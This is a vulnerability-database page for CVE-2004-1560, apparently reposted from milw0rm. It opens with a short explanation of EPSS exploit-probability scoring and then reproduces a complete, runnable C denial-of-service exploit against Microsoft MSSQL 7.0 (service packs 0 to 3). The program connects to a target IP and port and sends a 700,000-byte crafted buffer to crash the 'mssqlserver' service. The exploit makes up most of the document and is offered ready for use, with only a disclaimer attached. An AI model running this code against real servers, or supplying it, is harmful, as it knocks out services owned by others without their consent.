CVE-2004-1560 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack * By sending a large buffer with specified data an attacker can stop the service * "mssqlserver" the error noticed is different according to services' pack but the result is always * the same one. * Exception Codes = c0000005 * vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3 * This code is for educational purposes, I am not responsible for your acts * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include <stdio.h> #include <winsock.h> #pragma comment(lib,"ws2_32") u_long resolv(char*); void main(int argc, char **argv) { WSADATA WinsockData; SOCKET s; int i; struct sockaddr_in vulh; char buffer[700000]; for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) { printf(" MSSQL denial of service\n"); printf(" by securma massine\n"); printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n"); printf("Syntaxe: MSSQLdos <ip> <port>\n"); exit(1); } WSAStartup(0x101,&WinsockData); s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZeroMemory(&vulh,sizeof(vulh)); vulh.sin_family=AF_INET; vulh.sin_addr.s_addr=resolv(argv[1]); vulh.sin_port=htons(atoi(argv[2])); if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) { printf("Impossible de se connecter...le port est en generale 1433...\n"); exit(1); } { send(s,buffer,sizeof(buffer),0); printf("Data envoyes...\n"); } printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n"); closesocket(s); WSACleanup(); } u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) { printf ("Erreur DNS : Impossible de résoudre l'adresse %s !!!\n",host_name); exit(1); } CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length); } return addr.s_addr; } // milw0rm.com [2004-09-29]